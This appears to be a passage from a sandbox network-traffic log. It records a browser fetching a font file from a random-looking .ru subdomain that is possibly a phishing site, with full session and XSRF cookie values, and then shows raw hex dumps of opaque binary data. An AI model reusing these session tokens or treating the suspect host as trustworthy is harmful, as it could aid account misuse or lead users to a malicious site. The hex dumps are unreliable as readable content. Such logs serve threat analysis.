2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 Data Ascii: UpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)K
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca Data Ascii: ^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tF
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc Data Ascii: &w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8K
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 Data Ascii: kvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AO
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 Data Ascii: r4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 Data Ascii: i_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KH
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d Data Ascii: -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	1358	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive Origin: https://zy7z.fmaymzjp.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
2025-03-21 06:03:21 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Server: cloudflare Content-Disposition: inline; filename="GDSherpa-regular.woff2" Cf-Cache-Status: MISS Last-Modified: Fri, 21 Mar 2025 06:03:21 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iq9%2BNxJOqFTiFHBsjjm4W5wjmNTmSqGVE4LLmE781PaWMfXYfqJp%2FpUN%2BWgA0cZUhAMWNcHOzOll7aww3QFJeoWLv%2FjPi8uPb488ELRlh6kUsP804n7i%2FEV9V70t25PGKtSe"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=8675&min_rtt=8653&rtt_var=3261&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2270&delivery_rate=329134&cwnd=63&unsent_bytes=0&cid=cea0cd834048acbc&ts=479&x=0" Cache-Control: max-age=14400 CF-RAY: 923b3ee1ea6441fb-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 2c e6 87 9a fd dc e2 d5 10 f9 bd 17 16 00 31 06 00 7c fd 7f ef 1a 7b a8 a5 cf cf 36 82 f6 eb 2b 17 19 61 8b 63 96 88 a5 7c 8a 06 63 d3 47 21 79 47 b8 2e 03 d0 15 18 89 8a 2d 79 bc 37 08 2e 54 a8 ec e6 e8 1f d5 e3 5b 6c 8d 6f b9 38 9b 4b af 0a ab be 55 5b af ad 7b c2 96 5e d8 17 56 6a 2b 64 f5 d0 5c b9 ec 6c 36 fb e7 a1 c5 79 8e c0 42 c7 58 8a a5 5d 4c 0c 8d 75 d1 23 f2 ee b3 57 e1 da b5 2e 6c ed 6d bd 27 ef 85 9b bf 2b 77 e3 2e dd d5 7b c7 3e b2 1f 5d c0 65 71 47 5d a6 5e 16 5f 0a 2e d5 97 e6 cb 36 73 ef 3d 87 fa 21 3e bc 8e f2 c3 70 d4 1e d6 a3 f0 50 1c cd 47 c7 71 c4 6b 2a 1b 42 e0 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f Data Ascii: ,1\|{6+ac\|cG!yG.-y7.T[lo8KU[{^Vj+d\l6yBX]Lu#W.lm'+w.{>]eqG]^_.6s=!>pPGqkB\QE.=68_5:t~r.[E
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: b2 e3 cf 4a 46 db c7 9b f0 ce 33 07 13 d8 b2 d4 47 d4 11 cd c6 5b a2 d0 ed ce 47 ff 15 ba eb 4f 6c fd 20 39 3b e1 4c 32 37 ad ae a5 21 71 b9 f4 9a 45 6f 7e ab 6d 18 95 e3 a3 49 61 23 78 e8 5d 4e b4 ac ed 4a de 7c 82 f1 60 d8 aa 6c 68 16 5f 74 10 f9 43 da bc 54 82 3b 09 20 5f 0d c5 88 ba 03 43 bd bf 16 b7 ad 41 23 b9 b9 52 f6 ac 5e a7 13 73 33 b0 43 9a a1 f4 cb ea 45 72 21 1f 1a 20 5c 44 3d 5d 6e 6b d0 d2 a0 69 35 ad ee 98 6f d1 d0 18 42 bc 02 a5 3c 4f 80 ba 61 03 b7 3c 9f 19 05 15 96 d6 04 87 df 73 68 7d 2b cc f1 5f 8f 96 87 dc f8 e9 0e a9 8b f3 d9 36 1a 9c 05 9e 9a 59 d1 d0 81 5e 1b 61 14 5c 66 14 4e 2d cd 68 52 82 8f 80 7d 85 a7 3b df f9 4e a3 34 51 9c 16 3a d7 60 d3 dc 02 d4 08 82 04 d1 4f 32 e3 5a ab 72 dc 86 8f 14 96 37 de ad 0a aa 5f 21 4c 44 82 9a Data Ascii: JF3G[GOl 9;L27!qEo~mIa#x]NJ\|`lh_tCT; _CA#R^s3CEr! \D=]nki5oB<Oa<sh}+_6Y^a\fN-hR};N4Q:`O2Zr7_!LD
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 33 f4 67 ab cf 8e be dd 94 bb 82 f4 fe 0a 00 a5 b2 2e 9e fb 66 0a 6a 38 ef 1a 6e ef 77 36 8b 69 68 74 9f 40 15 9d f6 24 fb 95 6c 71 0a 62 2f 54 aa c3 b7 72 21 bb c4 84 7c 04 db e3 bf 47 8d 95 ba d1 58 62 3e 63 c2 c7 e5 db 18 0b 03 c5 b7 16 cd a7 93 e4 d7 16 70 96 f0 80 30 26 6d 59 49 7f 94 33 c7 cc 72 47 67 5a 5d b0 03 2a b1 ff 65 b5 9b 72 eb 55 71 93 68 2d 32 b5 5a 23 da a1 0b 3b dc 19 15 75 8b 4d c6 91 49 b1 f4 3a 0c bb 7d 3c 35 b5 72 8f c8 a4 3c 53 c4 d8 66 49 d3 58 cb 13 c2 3b 65 36 2c b0 05 c3 02 e1 d6 41 a7 dd 6e 67 60 7b 6c 51 d8 4a cf 6b 92 fe 6e 87 21 49 4e 41 b9 34 2e bb a2 c7 61 47 05 cd 3a ae 14 b4 d5 6d a1 1c b7 6c fc 84 fb 09 23 4e d3 ba 7f 28 8e 71 11 b6 db ea 4b 87 c4 04 bc 1b 9b 5a 38 ec 42 13 a1 09 df 69 37 99 1a 14 18 87 12 f8 38 3f bd Data Ascii: 3g.fj8nw6iht@$lqb/Tr!\|GXb>cp0&mYI3rGgZ]*erUqh-2Z#;uMI:}<5r<SfIX;e6,Ang`{lQJkn!INA4.aG:ml#N(qKZ8Bi78?
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 28 1b 38 4f 45 06 73 ab f0 68 87 83 ea 26 14 67 ed e6 c5 b6 06 cb 25 4a f5 b0 0f 75 d8 c8 6c 0f 51 52 cb cb 6d 24 6c 9c 1b 67 a2 a2 a0 1c 73 61 81 03 53 a6 d4 9f 78 4a 4b 8b f4 59 15 a3 a0 b6 2b c8 6f 18 79 c4 28 89 13 49 3d 9d 37 50 87 ee a2 f5 41 9b f2 e2 8d 51 51 0c ac cc 54 ec 3b 0b 29 5d 34 c4 08 7f f6 ad f4 b6 3b 60 8c 39 bd 78 b6 0a 6a 4b ac 37 32 fe 8c ee e0 7c 7c e7 ee 38 94 87 59 0d 96 23 31 78 3f 6e a7 49 01 3b ee 40 62 72 5f 00 61 06 73 a9 87 48 55 d3 da d2 d4 b4 ee 73 bd 89 ea 71 c4 2c ef 6d 45 8e 0f a4 1e 2e 36 3d 81 82 e1 92 8c 21 e7 22 75 20 eb 65 4b 95 29 13 25 f9 b6 62 b0 1e b7 78 dc ea 5c 86 71 c8 97 4a 94 2a a5 6f c4 3b 1a f7 4e 18 11 6e b1 04 9b 00 c4 4b da 94 b2 c8 52 e2 05 c3 94 d9 72 ad 27 95 4d df 48 08 4a a6 52 9a b5 26 42 67 0a Data Ascii: (8OEsh&g%JulQRm$lgsaSxJKY+oy(I=7PAQQT;)]4;`9xjK72\|\|8Y#1x?nI;@br_asHUsq,mE.6=!"u eK)%bx\qJ*o;NnKRr'MHJR&Bg
2025-03-21 06:03:21 UTC	1347	IN	Data Raw: 1e cb 79 1e a3 a8 da ff c4 33 40 40 91 74 04 84 9c f5 d1 94 fd 5c cd 74 fb ec fe 14 58 10 91 46 34 4b 49 19 d5 a6 27 a8 66 06 dd 40 6b 40 43 f5 1f 04 01 21 a5 a4 28 01 1e 28 78 0d 37 84 c8 27 d2 8b 66 14 87 2d 26 18 cc b1 75 0e f0 27 23 a8 1b 45 c6 e9 d3 c0 f7 db c7 4f ce 5d 06 e0 de ff 17 cb ef e6 07 f9 3e 1c 0c 23 f8 0d 00 f6 62 fa 01 ee 45 03 a6 d4 06 01 80 98 8d 1e f0 66 bb d2 96 80 df 4b c2 82 a6 91 ea fe 0b 8b 03 37 1b 6c 14 23 41 97 ed fa ed 1f 7a 23 61 74 8f a1 f1 7a 7c 1e ff a9 10 e3 c3 3e 2e c7 dd 3c 90 47 ba f6 13 b0 d1 c5 02 bb 38 c0 0a 67 5d 74 cb 77 de f2 e5 91 53 ac cb cb c7 d7 dd 1e 70 d9 23 9e cc b6 34 2b 7f ba bb 56 b2 21 d9 91 ec 77 96 1e fd 2a ac 74 bf da c3 fb f6 12 f9 bd 56 78 38 7d 23 10 f1 30 72 89 28 28 55 99 d2 63 97 01 87 fb 57 Data Ascii: y3@@t\tXF4KI'f@k@C!((x7'f-&u'#EO]>#bEfK7l#Az#atz\|>.<G8g]twSp#4+V!w*tVx8}#0r((UcW
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 4d bd 43 bc 5b 4b b5 5c e7 c9 54 3c 26 ee 52 a2 16 e9 66 d4 fb 28 7c cc e0 16 60 50 11 37 40 c9 1c 53 b5 18 1f 68 26 41 ba f2 c1 a8 4f 3f f7 1e 31 c8 cd 7a 61 66 c3 1c 7d 2e c2 ae 12 0f f6 18 01 a3 58 ba 35 25 82 c2 04 a7 66 71 6a a0 cf 34 58 2c 37 a3 23 a6 31 3a 97 dc 6a 73 47 02 a4 4a 88 e2 55 57 90 75 6a 2a cc 73 f4 8c 16 c7 3b 52 84 4c 1d 58 d2 e3 3b cd f7 18 8b a8 1a 2f 19 89 26 73 64 bc de cb cd c7 f3 72 19 f1 c4 7e 38 72 5e 6f e7 d7 bb 25 52 88 2b bb 72 59 05 0d 52 6a bf be 9d 99 61 4b b4 5e 00 85 2c b5 d9 95 9e 47 e0 ae 49 86 d6 ad dc 14 17 c1 2d 8d a6 85 24 37 18 44 83 b4 a7 3b d4 c1 e6 c0 0f 60 01 17 29 f0 8a 77 bc 82 18 0c 53 32 83 37 6b 03 94 36 87 01 2a 13 11 d9 7c 0a 28 59 6b 18 f4 5e a6 d5 a4 05 8d 26 6a 85 d4 a4 0a db ef bd f5 f5 24 41 23 Data Ascii: MC[K\T<&Rf(\|`P7@Sh&AO?1zaf}.X5%fqj4X,7#1:jsGJUWujs;RLX;/&sdr~8r^o%R+rYRjaK^,GI-$7D;`)wS27k6\|(Yk^&j$A#
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: cf 15 09 2d 8a 64 95 e4 9f 7a 98 f9 7e 51 a2 7c ee 7c 29 9e 46 c9 80 24 7f cf 8a 6d 99 61 54 83 01 17 73 11 23 ad 9f 2d 6e 44 8c 5a b4 d9 fc b4 0f 32 6f b8 b9 58 4b db 17 cf de 88 04 50 8d 6a aa 69 6b 99 bf 7a 22 a9 7e e9 d7 7e 47 f5 43 cc 56 6b 4a e2 e3 ff 08 ea c9 4e 48 54 7a c1 3b 9e b6 1d fb ae e9 23 5c ae a8 04 a3 41 ab a9 78 05 60 9d c6 ec 29 ee 81 25 85 bd 14 23 5c 9b 10 ee 72 87 df 99 a0 23 fc a5 a7 e5 b6 22 11 ee 51 91 f8 fe 1c 43 fd 92 aa 5e 17 dc 5f 81 87 4e 04 37 39 95 95 98 6f d5 88 3e af 11 57 76 11 d2 b4 52 c1 36 48 f5 0d b3 3c 2b fa bf 92 ae c2 e5 38 c6 ad c1 16 b4 0c 81 8c 26 84 e2 b4 3a d3 95 10 f1 8d fe 0c 6e 8c 93 55 05 98 bb 7f c9 f7 06 83 bb 61 7a 62 23 79 f5 3b 28 a6 5c d2 1d 3d ea ab 52 7f b3 e4 c5 8a e7 64 eb e7 db 56 a9 4a 4d 4e Data Ascii: -dz~Q\|\|)F$maTs#-nDZ2oXKPjikz"~~GCVkJNHTz;#\Ax`)%#\r#"QC^_N79o>WvR6H<+8&:nUazb#y;(\=RdVJMN
2025-03-21 06:03:21 UTC	1369	IN	Data Raw: 71 b6 e5 16 28 0d 70 0f b8 81 79 20 95 16 6f 7d 79 e3 9f 58 3f c5 28 92 cc e5 9a 8d 4b d8 dd 8e 2c 76 0b b3 d1 e5 95 49 43 9e bc 14 c2 bd d9 a4 aa c9 1f 0e 9a f0 74 72 ef b7 9d 9a 2a 07 e1 ad 59 04 de ff a9 b2 cd 30 c6 8c 92 c9 33 fd c4 f4 19 2c a2 fa 6c fe 36 7a aa 17 54 9f 84 7d cb 68 3b 32 28 1e 57 ec 62 0b 14 79 53 93 4e 12 dd 03 38 5e 04 1b d2 28 04 22 35 be 48 41 e6 3c a5 52 4c 45 73 5b 20 c5 31 0f c7 ac 29 1a d0 48 49 20 5d b8 31 e5 3a 8b d5 8a 80 a2 a8 d0 b5 dd c8 55 8c 25 8c 57 66 6b b9 e0 50 4b f7 42 67 ae 83 4a e4 a9 ad ee 19 a7 c8 73 9e a2 1b 56 e7 f4 08 2e 75 66 ee 39 cf dd f7 d2 67 ea 7d 21 17 ba 9f 41 e9 09 34 35 d7 f0 f8 4d be 51 89 0c af af d6 08 f5 ba 52 1f 83 11 8c 44 af 70 d0 f8 f9 de 3a 8b 49 d2 46 fd 16 da 55 b0 0c 6a dd 10 5f 4a 41 Data Ascii: q(py o}yX?(K,vICtr*Y03,l6zT}h;2(WbySN8^("5HA<RLEs[ 1)HI ]1:U%WfkPKBgJsV.uf9g}!A45MQRDp:IFUj_JA
